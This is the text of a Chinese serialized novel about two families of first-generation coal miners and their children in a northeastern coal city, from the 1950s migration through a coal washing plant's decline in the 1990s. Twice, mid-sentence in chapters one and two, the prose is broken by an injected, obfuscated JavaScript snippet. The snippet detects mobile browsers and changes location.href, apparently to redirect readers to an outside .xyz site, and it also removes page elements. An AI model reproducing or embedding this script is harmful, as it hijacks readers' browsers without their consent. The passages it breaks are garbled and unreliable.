《煤城往事—东北流金岁月》 1. 第一章 这是个因煤而生，又因煤而兴中国东北的一个城市。1970年4月1日成立的县级市，1983年升级为地级市，归黑龙江省政府管辖，我们称谓它煤城吧！ 这个称谓煤城的由来，是因为1956年狐狸盗洞盗出来煤，宝藏一经暴露，被当地居民发现，挖宝者不请自来。 最原始的挖掘开始了。 人们住在地窨子里，用手镐刨，人背，把煤从地下背到地面。煤卖出去后，变成了钱。 人们从四面八方而来，尤为闯关东的山东人、安徽人、江苏人最多。他们是通过口口相传，亲连亲，老乡连老乡，在这个能挖个坑出煤的地方生存了下来。 1958年对于我们国家来讲，那是怎样的火红年代！ 人民公社、□□、大炼钢铁…… 大炼钢铁需要主焦煤，电力需要煤，哪哪都需要煤。 经过国家有关部门的检测，煤城的煤是炼钢急需的主焦煤，于是国家在煤城的开发建设从1958年9月份开始了…… 招兵买马近五千人，用铁锹、镐头开挖斜井三百余处，当年生产原煤近二十万吨，生产焦碳近五千吨。 这些闯关东的盲流，成为了煤城第一代，国家煤矿的工人。 宋厚成是第一代矿工的儿子，1963年出生，1988年毕业于本省一所矿业学院洗煤专业。他的发小、未婚妻于风珍是同届财会专业的毕业生。 这天是1988年6月25日，宋厚成、于风珍两家住在一个大院子里。两家是一个连脊的土坯草房，房子总长十四米，宽五米，中间隔开，两边各开房门。这个房屋的建造者是宋厚成的父亲，宋风桐，于风珍的父亲于淮南。他们是1957年从安徽省中部农村闯关东来到煤城的生死弟兄。他们从老家一同坐车来到煤城，投奔老乡，一同挖煤、背煤。一同进入国矿成为煤城第一代矿工。 宋厚成是宋家的长子，他有三个弟弟，四个妹妹，大弟宋厚忠在矿务局技工学校读书，其他几个弟弟、妹妹都在离家不远的矿务局中小学读书。 于风珍是于家的长女，她有两个弟弟、三个妹妹，大弟于玉林已经在市热力公司工作了。 宋厚成、于风珍生在一个院子里，长在一个院子里，一起上小学、中学、读高中，同一年考上同一所大学，又同一年毕业了。 那一天是1988年7月25日，早上宋厚成推着爸爸的金鹿牌自行车，走到风珍家的窗前，风珍看到了厚成，拿起挎包，推门出来，两人约好一起去市里人事局送档案，等待分配工作。 他俩出了院子，厚成看着风珍，只见风珍穿着白色的短袖上衣，浅蓝色的长裤，脚上穿了一双白色的运动鞋，梳着短短的学生头，两只黑黑的大眼睛，长长的睫毛像门帘一样。风珍一米六的个子，不胖不瘦，瓜子脸型，白白净净的皮肤，厚成越看越喜欢，看得风珍不好意思低下了头。笑着说：“俺哥，你不认识我了 厚成觉得有些失态，脸腾的一下涨红。连忙说：“不是，不是”。 风珍这时上下打量着厚成，厚成穿着淡青色的短袖上衣，米色长裤，穿双黑色的白底布鞋，厚成一米八的大个，不胖不瘦，很健壮。刚洗过的平头，黑黑浓浓的头发，浓黑的眉毛下，一双大眼睛炯炯有神。这时厚成的眼神碰到了风珍的眼神，风珍羞却的低头微笑。 两个年轻人，心神领会，脸上露出了幸福的笑容。他们边走边说话，到了平坦的马路，厚成骑上了自行车，风珍跳上了自行车的后座。他们迎着初升的朝阳，怀揣着梦想，奔驶在路上。 他们家住在煤城的老区，1958年建矿最早叫胜利煤矿，后更名为新建煤矿，四井旁边的自建区，又叫“小安徽屯”。距离要去的市政府所在地大约有十公里。当时煤城交通落后，市公交汽车公司只有几台破旧的客车，没有什么班次，有时在站点等一个小时也看不到汽车的影子。所以市民出行大都是骑自行车，自行车是当时每个家庭必备的交通工具，也是每家的固定资产。 俩个人首先路过老区的商业街，这个时间商业街人来人往，推车的、挑担的商贩，前去商场上班的营业员，一个个精神抖擞，衣着得体，脸上洋溢着自信。 风珍说“俺哥”时间还早，我们不骑车了，慢慢走走。厚成应声答道“好”。厚成放慢了自行车，风珍从后座上跳下来，俩个人推着自行车边走，四目看着过往的人流。 风珍只有他们两个人的时候，称呼厚成为“俺哥”，这个从风珍会走路，梳着两个小辫，流着鼻涕一直叫到上大学的称呼，是因为刚上大学时，风珍喊厚成“俺哥”被同学起哄后，被迫只有两个人时风珍才能这样叫厚成。 每当风珍这样叫厚成，厚成总会深深的看着风珍，眼睛里有无限的爱意，风珍也是满眼的情话。 风珍指了指马路两边一幢幢新楼说：“这几年煤城的变化太大了，过去的老百货，老副食店，老五金商店，老农贸市场，统统翻盖成了楼房。” 商业区的土路修成了四车道的水泥路，人行路，下水道，跟省城的一样。 厚成说：“煤城变样了，环境好了，过往的人看着干净、漂亮、精神了！家乡变美了！” 两个人到了市政府所在地煤城的新区，人事局在市政府大楼里面，他们来到干部科，厚成、风珍把毕业证书、档案交给接待的张科长。 张科长是一位年近五十的男同志。 张科长让他们坐下，又给他们倒了开水，说：“你们喝点开水，我看看你们的材料。”说完戴上了老花镜，认真的看起了材料，张科长边看材料边询问一些事情。 张科长看完材料说：“今年我们市建立了一个大型洗煤厂。于厚成学洗煤专业，在大学时是优秀的学生干部，分配你去洗煤厂，对于你个人能力的发挥和工厂的需要，应该是一个双向选择，不知你什么想法？”厚成憨憨的笑到：“我服从分配。”然后看看风珍，对张科长说：“她是我未婚妻，我俩最好分配到一个工厂工作。”张科长沉思了一会说：“于风珍是会计专业，新厂需要财务人员，既然你们是这种关系，当然要优先考虑你们今后工作、生活方便。”风珍、厚成站起来向张科长行鞠躬礼，说：“太谢谢您了。” 张科长让他们坐下说：“我现在给你们开调令。”拿出公文纸，写完调令，郑重地盖上大红印章。 厚成、风珍拿到调令，告别张科长，满怀兴奋的离开办公室。 他们去报道的选煤厂，在煤城最东边，郊区，洗煤厂占地面积大，又要靠近水源，又要保证环保达标等等条件。 风珍厚成来到了洗煤厂大门。 工厂大门是铁艺门柱，端庄大气，横匾白底红字，是洗煤厂的全称。大门两边是红砖砌的围墙，左边有一个门卫室。 值班人员看到厚成风珍，询问他们来厂干什么？风珍回答说：“我们来报道。”并给他看了调令，工作人员让他们在登记薄上做了登记，然后指着办公大楼告诉到：人事科在二楼，门上有牌子。他们谢过值班人员，沿着厂区的大道去办公大楼，放眼望去，高高的煤仓，威严耸立，生产车间连成一片。厂区绿化、道路施工，工地上人来人往，一片繁忙。 办公大楼四层，装修华丽壮观。 大厅里摆放了很多盆盛开的“红运当头”鲜花，象征工厂红红火火，如日出东方。 他们来到了人事科，敲门入内，人事科只有一位姓关的男性科长，近四十多岁，中等身材，体态匀称，白白净净的脸，细长的眼睛充满了善意，他自我介绍后，风珍拿出了他们的调令，交给了关科长，关科长边看调令，边让他们坐下，看过调令后，给他们每个人倒了一杯开水，说:“欢迎你们来厂工作！”然后问了他们家住哪里，家庭情况，他们一一回答。关科长还时不时的在笔记本上记些什么。说着，时间已经过了一个多小时。关科长说：“我这几天都在接待前来报道的大学生，今天是周四，我下午去向厂领导汇报，你们周一早八点到厂，厂领导主持开会，落实你们的具体工作等等。” 这时有来报道的学生，厚成说：“关科长，没有其他事情我们走了，不影响你工作。”关科长说：“好，周一见。” 厚成，风珍离开洗煤厂回到了市区，厚成看表，时间已经中午十二点多了。厚成说：“我们去吃饭吧。”风珍说：“吃什么呢？”厚成说：“我们去吃煤城商场那里的快餐怎么样？”风珍说：“我喜欢吃那里的快餐，菜都是现炒出来的，味道好。” 风珍给厚成打了一盒有鸡肉，肉段的盒饭，厚成看到风珍的盒饭都是素菜，厚成知道有肉菜的盒饭十二元一盒，全素菜的盒饭八元一盒。厚成夹了一大块鸡肉放到风珍的盒饭里。风珍笑着说厚成：“好好吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987672|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”厚成说：“遵命。”两个人愉快的吃完饭，快餐店的客人很多，有的顾客没位置，手捧着盒饭站着吃，他们俩起身让座。 出了快餐店，风珍说：“俺哥，我想去桃山湖玩玩。我们上班后一定很忙，可能没有时间出来玩了。”厚成说：“好啊。今天我这个司机为你服务，我们的车又不用烧油，你想去哪玩我送你到哪。”风珍拍一下厚成的后背笑着说：“让你贫。” 风珍去买了两瓶水，两袋瓜子，坐到自行车后座，他们去了桃山湖，市区到桃山湖仅有一公里的路程，他们很快到达了。 时值盛夏，又是暑假期间，湖边游人如织，特别是孩子们三五成群在岸边玩耍，情侣们在树荫下窃窃私语，垂钓者神情专注。桃山湖原名桃山水库，始建于1958年，也就是和煤城一样，是□□年代的孪生兄弟。当年最多有近六千多民工，没有机械，全靠人挖肩挑投入人工，二百万个，清基十万方土，工程经历三次上马下马。水库工程一期1990年全部竣工，占地面积近二千七百万平方米，库容近三亿立方米，坝长近五百米，坝高近二十米。这一串串天文数字的创造者，是我们的父辈，是他们创造的人间奇迹，为子孙后代留下宝贵的资源，和永恒的精神遗产。 厚成带着风珍来到堤坝上，放眼望去，湖水一望无际，烟波浩渺，桃山湖是古老的倭肯河拦腰截断而建成的人工湖，这里两岸青山逶迤磅礴，一潭碧水，烟波浩渺，远看山水相连，天宇无限，近看奇石突兀，大野苍莽，更有各种水鸟穿梭其间。鱼儿时而畅游湖底，时而跃出水面，惹得岸边孩子们的放声大笑。 他们漫步其间，犹如置身瑶池之境，令人心旷神怡，遐思无限。此情此景，厚成有些激动，他拉过风珍的手说：“珍珍，我们今天工作落实了，一切如我们所愿，我们今后工作在一起。” 风珍说：“这是个新厂，一张白纸没有负担，我们要在这张白纸上画上最美的图画，用我们所学，全部投入工作中去。” 厚成说：“我们要争当劳模！” 厚成说：“工作一年后，各方面条件具备了，我们结婚。”风珍羞怯的低下头，厚成把风珍拥入怀中，低头亲吻她的脸颊。两个人幸福的相依相偎。远处的几只鸟儿发出了快乐的鸟鸣声。 周一早上六点，厚成骑着自行车带着风珍去洗煤厂上班。太阳已经升起来了，如一颗熠熠生辉的宝石，渐渐升起，绽放出万丈光芒，耀眼的光芒，金光四射金光射在厚成、风珍的身上。他们身披着彩霞，车轮滚动，两个年轻人幸福启程，进入了人生最辉煌阶段。 厚成、风珍来到了人事科，屋里已经到了八个人，关科长说：“我们人已经到齐了，现在去厂小会议室，贺厂长和大家集体谈话，并宣布每个人的工作岗位。”一行人来到厂小会议室，会议室宽敞明亮，长条桌上摆放着鲜花，桌椅散发出木头的清香，大家依次坐好。 副厂长贺洪来到会议室，贺厂长将近五十岁，中等身材，很健壮，戴着一副黑框方形的眼镜，看上去很干练。 关科长向大家介绍后，说：“请贺厂长为大家讲话。”响起了热烈的掌声，贺厂长首先代表厂领导班子欢迎各位大学毕业来厂工作！然后向大家介绍洗煤厂生产规模，及运营规划等等后，他说下面，每位自我介绍，相互认识，从离我最近的一位开始，按顺序来，现在开始吧。 十个人自我介绍互相认识之后，贺厂长要宣布每个人的工作岗位。会议时静得针掉下去也会有响声。每个人睁大眼睛，竖起耳朵听自己的岗位。 宋厚成分配到洗煤车间技术员。于风珍分配到财务科会计。 贺厂长宣布之后，会议室响起了热烈掌声。 贺厂长说：“厂里目前配套的工程没有完全竣工，食堂，宿舍工程正在收尾，生活方面有困难，大家暂时克服一下。” 我们厂职工家属小区正在建设中，党委会已经决定第一批分配给你们今天进厂的大学生，这时十名大学生起立鼓掌，鼓掌声传到窗外，传到天空很远、很远……贺厂长最后叮嘱大家，上级组织部门为我们厂从老厂调入了各级领导，车间技术岗位，配备了老技术工人，希望你们多向他们学习，尽快胜任工作。 贺厂长说：“厂里准备投产，各方面工作压力大，这次不多说了，会后由关科长送他们到岗位报道。”说完风风火火地走了。 2. 第二章 时间飞逝，厚成，风珍在洗煤厂工作十年了。 厚成在车间技术员岗位上工作二年，提拔到车间主任，入了党。成为了厂里的中层干部。风珍担任财务科会计，入了党。 在工作的第二年，他们在厂家属区公房结婚，并且有了一个叫小凯的儿子9岁，和一个叫小丹的女儿8岁。 这十年中，厚成，风珍工作顺风顺水，他们已经习惯在这个离市区十五公里以外的工厂生活，厂里有医院，浴池，小卖部，配套设施全面。 1996年洗煤厂因外部经济环境变化，用户减少了三分之二，而且发出去的煤回款率很低，厂里积压的原煤像一座小山，厂销售科的老总，带几名业务人员奔波在催款，联系用户的路上。 职工已经半年没有开工资了，退休的老工人步履蹒跚来厂里要报医药费，风珍耐心的给老工人做解释工作，然后把医药费的票据收下，按规定核算好应该报销的金额，给老工人写个条子，待到付款时，让车间主任亲自送到老工人家中。老工人说：“理解厂里的困难，每天上班的工友，半年没发工资了，小于会计也尽力了。”他们被送到通勤车上，到站下车后必定有年轻的工友负责把他们送到家。时间像一个公平的老人，无论发生什么样的事情，他都会按照自己的脚步周而复始的前行。 中秋节快到了，洗煤厂更困难了，已经8个月没有发工资了，夫妻俩都在厂里上班的家庭，挺不住了！ 风珍，厚成每天说话更少了，两个孩子一年里又长高了，天气渐冷，去年的衣服已经小了，需要给他们买换季的衣物了。 往年这个季节，也要给双方四位老人买几件换季衣物。 八个月没发工资，有点积蓄已经花完了，夫妻俩都怕对方上火，不敢提这个话茬，特别是风珍觉得是自己没管好家，对不起老人和孩子。 厚成心里明白，两个人的工资，这些年双方弟弟、妹妹结婚，风珍都要拿出积蓄送给老人，给他们买结婚的物品，以减轻老人负担。 两个孩子正是长身体的时候，风珍每个月要买几斤鸡蛋，每天早上给孩子煮好，一个人吃一个鸡蛋，风珍自己从来没吃过。 风珍的外衣外裤，上班时穿上，下班到家马上换下来，穿上做家务的衣服，有一次财务科的蔡会计开玩笑说：“风珍你一年四季穿这一套外衣，是租来的吗？”风珍当时脸腾的红起来，蔡会计说：“我不是笑话你，是看你太节俭了，年纪轻轻的不打扮自己，等到老太婆时穿绫罗绸缎也不好看，腰也弯了，腿也弯了，说得几个会计哈哈大笑。”风珍笑着说：“蔡大姐听你的，星期天休息买衣服去。” 这一次风珍真是又咬牙又跺脚，发了狠，买了一套外衣，一双皮鞋。 厂领导班子，三天一小会，五天一大会，研究洗煤厂的出路，讨论来讨论去，也没有找到出路。市里主管煤炭的副市长，亲自来厂调研，主管局煤炭局领导多次来厂，研究洗煤厂的出路。 有位厂中层干部的亲属在市里经贸委工作，他曾经说：“市里对洗煤厂的将来要有大动作！”“什么大动作？”那位中层干部紧张的问，那位说：“或者租出去，或者卖出去。” 这条消息在这个人人为厂里出路着急的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987673|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候出笼，一石激起千重浪。 工友们口口相传，最后这条消息变成了这样的版本，“说市里决定把洗煤厂租出去或者卖出去，工人也租出去，或者卖给个体老板。” 厂里的一把手老陆厂长听说后，又可气，又可笑，感觉我们的工人阶级对市场经济的认识如同文盲。 洗煤厂进入了半停产的状态，有用户按交款金额洗煤发出去，没有生产任务，只有中层干部值守，厂里通勤车停发了。 春节马上到了，几路催款的业务员，终于摧回了几十万元钱，勉强发给职工二个月工资，付出了退休工人的医药费。 春节前农历腊月二十七那天，东北的冬天，早晨阳光躲在厚厚的云层里，吝啬的挤出点阳光，又被地上的炊烟笼罩，天地之间，雾气茫茫，昏昏沉沉，所以东北人小时候少数孩子以为冬天没有太阳。厂办大楼宣传栏上贴出了“春节放假通知”，正月十六上班。保卫科贴出了“春节值班轮流表”，中层干部同保卫科工作人员一同值班。 厚成骑着摩托车，风珍坐在后座上，来到煤城最大的服装商场，他们要给四位老人，两个孩子买节日的服装。 商场里人头攒动，熙熙攘攘，柜台前试衣服顾客络绎不绝。他们给两位爸爸买了同一款棉服，厚成的爸爸个子高，买了最大码。风珍的爸爸小二码。又给两位妈妈买了新款的羊毛开衫，颜色一样，两位妈妈是一个号码。 他们去了水果市场，给两家各买一箱山东苹果，一箱四川蜜桔。把水果捆在摩托车上，他们回父母的土房大院，被他们弟弟妹妹们戏称为“革命摇篮”去了。 3. 第三章 宋厚成的父亲叫宋凤桐，于凤珍的父亲叫于淮南，他们是1958年国家第一批招录的矿工。来自安徽省南部一个农村，叫宋庄。 两家几代人土生土长生活在这里，两家住的房子隔着一条道，他们是1938年生人。宋凤桐比于淮南大两个月，宋凤桐的妈妈是于淮南妈妈的表姐，两个孩子在娘肚子里就认识。每天听到两位妈妈在一起说着他们在娘肚子里的把戏。 两个娘先后生下了他们，姐妹儿俩带着他们边做针线边逗着他们说：“小哥俩见面儿了，以后可以一起玩儿啦，” 他们真是按照娘的心思一起玩儿到上小学。又一起初中毕业，形影不离。 这按照现在的说法是，打娘胎里的“发小”要铁一辈子。 1957年，宋凤桐、于淮南初中毕业。回乡务农，这时他们18岁，这是一个怀揣梦想的年龄，他们不安心在农村种地，经常私下商量怎么从农村走出去，寻找与父辈不一样的生活。 庄里人夏天晚上吃饭都要去村里的大槐树下，端着放着几块咸菜的饭碗，手里拿块馍，十几个人凑在一起边吃边聊，这样虽然简单的食物，配上你一言他一语的笑话，才能把这顿饭吃的有滋有味儿，感觉像吃了一顿美味儿大餐一样爽。 今天晚上主讲的是宋凤彤的五舅：“我内弟在邻庄，他半年前去东北一个煤城，今天来信儿了……” 大家都把耳朵竖起来，喝粥的声音没了。 五舅又咳咳嗓子大声说：“信上说东北那个煤城，地下赋存的煤层厚又离地表近，人们随便儿挖菜窖就能挖出煤来。既然挖出煤来，多找些人就挖煤卖煤，那个煤质又好，卖上了好价钱，内弟他们挣到了钱。” 这时人们已经不吃饭了，听着五舅说……几分钟后。人们开始议论，有人说想去东北煤城挖煤。 也有人持怀疑态度，说这能是真的吗？一时间大家不自觉地分组讨论的哇哇的说个不停。宋凤桐把饭碗里的最后一口饭吃掉，凑到于淮南身边儿碰了一下他的腿，两个人心领神会离开了大槐树，来到了他们经常在一起读书学习的于凤桐家的仓房。 仓房里堆放着农具和居家用的东西。有个空间里面儿收拾的很干净，地上放个小方桌儿，还有几个小木凳儿，是平时于凤桐弟弟妹妹写作业的地方。 宋凤桐比于淮南早出生两个月，因此于淮南称宋凤桐为哥哥。宋凤桐虽然比于淮南大两个月，可是自从懂事起，把自己这个哥做的很称职，无论大事小事，只要有宋凤桐这个哥在身边，于淮南立马会目中无人。 两个人进来坐在凳子上，宋凤桐看了看于淮南说，“怎么，你想去吗？” 于淮南郑重的说“想去。” 宋凤桐接着说：“我也想去。” 宋凤桐上下打量着于淮南说：“我这一米八大个子，身体健壮，浑身都是力气，什么重活儿都能干得动。你又矮又瘦，没有力气，怕干不动那么重的活儿？” 于淮南说，我是又矮又瘦，没有你力气大。可是庄里咱们这么大的男孩儿谁有你力气大？我不能跟你比力气，我去东北多吃点儿饭儿，长了力气能干动那个挖煤的活儿。” 宋凤桐听于淮南说的话在理，换了一个话题说：“还不知道俺爹俺娘能不能让我去。” 于淮南说：“俺娘不能让俺去，俺是独生子，爹娘看俺看得紧。” 宋凤桐沉思了一会儿说：“俺是不想象爹娘一样穷的只剩一张嘴了，怎么样都要出去闯一闯，大不了还是穷。如果能挣到钱，俺就是闯对了，活人总不能让尿憋死吧？我下决心了，一定要去东北挖煤去。” 于淮南想了想说：“哥，你下决心了，我也下决心了，我俩一定去东北挖煤。”宋凤桐说，没有路费怎么办？ 于淮南说，咱们想想向谁借路费？ 两个人把身边的人数了一遍，他们又反复筛选身边的亲属、朋友、同学，先不考虑能不能借，只是没有一个有钱的人。 宋凤桐急得头上冒了汗，脸也涨红起来。 于淮南站起来，急得在小仓库里走来走去。 小仓库离猪圈很近，这时，宋凤桐的娘拿来野菜扔到猪圈里，小猪羔儿高兴的哼哼直叫。 小猪的叫声提醒了宋凤桐，他高兴的拍了一下桌子说：“有了，我明天去县城找俺舅借路费。” 于淮南停下了脚步说：“你等我一会。”说着急忙回家了。 于淮南回来时，拿着一个纸盒，把里面的钱倒在桌子上说：“这是我全部的家当，数一数够不够买车票。” 钱有壹分、贰分、伍分的。看着不少，他们数完了一共是三元五角七分。去县城的车票是五元，还不够一张车票钱。 宋凤桐说：“我也有硬币，够买一张车票了。我明天坐早班儿车去县城，你等我的好消息吧！ 于淮南说：“好！”一溜烟儿的跑回家去。 宋凤桐悄悄回到了自己睡觉那小床躺下，两眼望着天棚睡不着，他在幻想着未来。不知多久，睡着了，他做了一个梦。说自己和于淮南到了东北，找到了煤城，他俩和不认识的人一起挖煤。他还在狗窝旁挖出了煤。他和于淮南挖了一大堆煤，卖给了一个买煤的装满了牛车，给了他一把十元钱的纸币，他俩买了一筐馒头，还买了一大块儿烀熟的猪头肉。正在大吃大爵，听到娘的敲门声，：“起来吃饭，下地干活儿去。”宋凤桐有点儿怪，娘早不叫晚不叫吃得正香，偏偏叫。宋凤桐叭哒叭哒嘴似乎在回味梦中的美食。“娘，你们先去地里吧，我一会去地里。” 宋凤桐听到了爹娘出门儿的声音，下地看了闹表，已经五点多了。去县城的班车每天六点从庄上路过。宋凤桐洗漱后，换上了干净的衣裤，穿上一双干净的鞋，把零钱装在一只袜子里。拎着去了庄口。一会儿功夫，那辆过路去县城的汽车到了，只有他一个人上车，车上乘客很少，他找到了座位，车开走了。 卖票的中年男子走了过来，宋凤桐递给装钱的袜子袋，卖票男子惊愣地：“这是什么？” 宋凤桐陪着笑脸说：“这是车票钱，正好五元，都是零钱。”他脸上露出了歉意。 卖票男子用手掂量掂量袜子袋儿说：“还挺沉的，在车上没法点钱。”“又问，你是宋庄的？” 宋凤桐回答说：“俺是宋庄的叫宋凤桐，你方便时点一点，如果不够，你来庄上找我。”卖票男子上下打量宋凤桐一会儿笑着说：“都是乡里乡亲，我信过你。” 车来到了县城。 时值盛夏，太阳高高的挂在天上，热气扑向了宋凤桐，为了快点见到大舅，他几乎小跑来到了大舅卖肉的农贸市场。市场还没有开业，商贩们正在往床上摆放着货物。宋凤桐看着大舅正扛着一扇猪肉，手里提着一个桶朝床子走，他跑了几步追上了大舅：轻声喊“大舅。” “你小子怎么这么早来了？”大舅惊讶地问。 凤桐接过大舅手里的桶，几步到了卖肉的床子，宋凤桐帮助大舅把猪肉放到床子上，又帮大舅把卖肉的家什摆放好。 大舅坐在木凳上喘着粗气看着宋凤桐。宋凤桐从水壶里给大舅倒了一缸水，递给大舅，看着大舅喝了一口水，喘气平稳了。宋凤桐摸了几下头，说出了想去东北挖煤，向大舅借路费的事，一五一十说了一遍。 大舅听后点了一支烟，吸了一口，慢慢地吐出。烟已经剩下小半截对宋凤桐说，：“去东北闯生活是个好事儿，可你刚毕业。没有社会经验，社会上的事儿和人都复杂，你怎么应对了得了？”“还有，你是长得，人高马大，可是力气大没有长成，挖煤的活儿很重，会伤了你的身子骨。”“你爹娘放心不下，不能让你去。” 宋凤桐等大舅说完话解释说：“大舅，我已经十八岁成人了，你和我爹十五岁开始挣钱养家了。不用担心我，不管到哪里总是好人多，不好的人我离远一点，干不动的活儿我不全干。我的力气不用担心，无论是同学还是庄里的小伙子，没有比我力气大的，他们都叫我”牤牛”。 大舅听着哈哈大笑，宋凤桐也跟着笑了起来，哈哈！ 宋凤桐说：“大舅，我来你这，我爹娘不知道。我没敢和他们说。” 大舅把烟掐灭，扔在地上说：“穷人的孩子早当家，我支持你去东北，最好有个伴儿一起去。” 宋凤桐说：“于淮南和我一起去东北，只是于淮南也没有路费，大舅能不能借给我们两个人的路费？”宋凤桐眼巴巴的看着大舅。 大舅自言自语地算了两个人路费最少也要500元，然后，他从工具箱的一个小盒子里拿出存款折，看了看有300多元。他沉思片刻，向挨着临床的卖猪肉的同行走去，只见大舅和那人说了一会儿话，大舅接了那个卖肉的同行拿出的200元钱钞票。 大舅回到床子对宋凤桐说：“现在银行开业，咱俩去银行取钱。” 大舅换上了干净的衣服。换上了一双干净的鞋，告诉临床卖肉的人，让他帮助照看床子，带着宋凤桐快步去了银行。 取完钱在回来的路上，大舅又到市场旁边的小饭馆向老板借了十斤全国粮票，说：“过几天还地方粮票。” 饭店老板仗义地说“那没事儿，咱哥俩儿没啥说，” 大舅拍了老板肩膀，表示了深情厚谊。 回到卖肉的床子，大舅从工具箱里拿出了纸和笔，奋笔疾书。写好后，折叠起来装到信封里。“这是我给你爹娘的写的信，他们看了会同意你去东北。” 大舅的话，宋凤桐百分之百地相信，因为从他记事起，大舅帮他家事太多了，爹常对娘和他们几个孩子说：“你大舅说的话比喇叭里的天气预报还准。是咱们家的恩人，孩子长大后有能力，一定要报答大舅的恩情。” 大舅找了一个小提兜，把500元钱、全国粮票和那封信装在里面，把小兜交给宋凤桐说：“就帮了你这些钱，到东北挣到钱后马上给我寄回来，这是我买活猪的本钱，另外床子的钱也是做生意的本钱。”他给宋凤桐写了通讯地址，并且告诉了市场的公用电话，告诉有急事儿打电话找他。 大舅掏出口袋里的几张零票儿，拿出五元钱说，这是你回家买汽车票的钱，提防着点儿，手里小提包不能松手，握住了。 自己要去东北了，不知何年何月才能看见到大舅，眼泪汩汩的往下落，双膝跪在地上，给大舅磕了三个响头。大舅也流出了眼泪，扶起宋凤桐连声说，快起来，快起来！ 宋凤桐起身紧紧抱住大舅…… 大舅说：“已经九点多了，十点有一班路过宋庄的客车，你现在去客车站等车，我不去送你了。” 宋凤桐看到市场已经上顾客了，大舅要卖肉了。“大舅，你放心吧，我到东北给你写信。”边说边往外走。 大舅向他挥挥手说：“常来信儿报平安！” 宋凤桐借来了路费，大舅的鼎力相助。给了他巨大的精神和物质支持。他的身体里升腾出一股进取的力量。 班车来了，宋凤桐上车一直握着小拎包，坐在靠窗户的位置，眼睛看到车窗外的景物快速的向后移，路边的野花，红色的，黄色的。紫色的、粉色的、白色的在争奇斗艳，此时看着他们格外的亲切喜欢。 宋凤桐到家里已经是中午了。他把拎包儿放在自己屋子里的木箱里锁好。闻到锅里的饭菜香味儿，想起自己一上午没吃饭，这时腿也发软，头上冒了虚汗。他掀起锅盖，娘给留下的混合面饼子，还蒸了一碗咸菜，锅里锅底还有一碗玉米面的糊涂粥，宋凤桐大口地把娘留下的饭菜一扫而光。洗了碗筷，回到自己的小屋里躺下，他想休息一会儿，迷糊糊的睡着了。 睡醒后觉得体力恢复了，他去找于淮南，走到房门口儿，于淮南扛着锄头到了家门口。 于淮南惊诧地问：“哥，这么快回来了？” 他俩进了里屋，坐在吃饭的地桌旁，宋凤桐向于淮南讲述了向大舅借钱的详细经过。 于淮南听呆了，因为这是他没有想到的顺利。 宋凤桐拿来了小提包取出大舅借给的钱和全国粮票，还有大舅写给爹娘的信。宋凤桐说：“晚上去小卖部，买瓶老白干酒，买点儿猪头肉，咱俩去五舅家，他收工回到家，他有酒有肉。他就不会去老槐树下吃饭了。让他告诉我们他内弟在东北煤城的地址，最好能写封信我们带上。” 宋凤桐说：“你爹娘一定是不能让你去东北，也就不让他们知道了。你爹娘他们下地不在家，你现在回家，你把要带的衣物收拾好，放到仓库里。我俩上五舅那里拿到地址，我爹和娘回来看到大舅的信，会同意我们去东北，我们随时走，你说怎么样，于怀南说：“好，哥听你的，我回去准备。我去小卖部那里等你！” 宋凤桐到小卖部，于淮南已经到了。宋凤桐问小卖部婶子说：“哪种酒村里人爱喝？” 婶子惊诧地问：“你爹不喝酒，你买酒干什么？” 宋凤桐回答说：“家里来客人了。” 婶子拿来一瓶老白干说：“这是60度的好酒，男人愿意喝，说这个酒喝着过瘾。 宋凤桐说：”来一瓶！”。 宋凤桐他们又看了装食品的橱柜，新烀的猪头肉油光闪闪，鲜亮鲜亮的。婶子也跟了过来说，“还要买猪头肉吗？这是家来了贵客了。” 宋凤桐指一下带拱嘴的这块儿肉说：“要这块儿啊。” 婶子夹了这块儿肉，放到称上称好，用纸包上说：“一共11元。” 宋凤桐拿了两张十元儿的新票，婶子反复看了几遍，给宋凤桐找了9元的票子。当宋凤桐、于淮南两个人走出小卖部时，婶子自言自语地：“今天是什么日子，还能收到崭新的大票儿？” 他们来到五舅家，五舅下地还没回来，舅妈（妗子）在做晚饭。看到不常来家的宋凤桐和于淮南提着酒，拿着包油乎乎的东西，有些发懵问：“你俩有事吗？” 于淮南说，找五舅有点儿事。” 妗子说：“他快回来了，你们俩进屋等着吧！” 五舅家三个女孩子已经放学，正在写作业，十多岁儿的大女儿让他们坐在凳子上。他们俩看到几个小孩儿写作业，不时的指点指点。半个小时后，五舅扛着锄头回来了，妗子说：“宋凤桐、于淮南两个孩子来了，他们给你买了酒、猪头肉！” 五舅乐了，洗手后进屋。于凤桐、宋淮南连忙站了起来说：“五舅回来了！” 五舅答应道：“啊！”然后说，“咱们去西间屋吧！” 西屋有一张大床，放了一些被褥，是孩子们睡觉的地方。五舅让他俩坐在床边儿，自己拿了个凳子坐下问：“你俩是有什么事来找我?” 于淮南看着宋凤桐说：“五舅，我俩想去东北煤城挖煤，要麻烦你告诉你内弟的地址，再给我们写封信带上，我们投奔他去！” 五舅听明白了。“你们要去煤城挖煤挣钱是好事，只是你俩刚毕业，身子骨还没有长成，挖煤背煤是重活又有危险，你们能干得动吗？”“另外，你们两个的父母。同意你们去吗？他们怎么没来找我？” 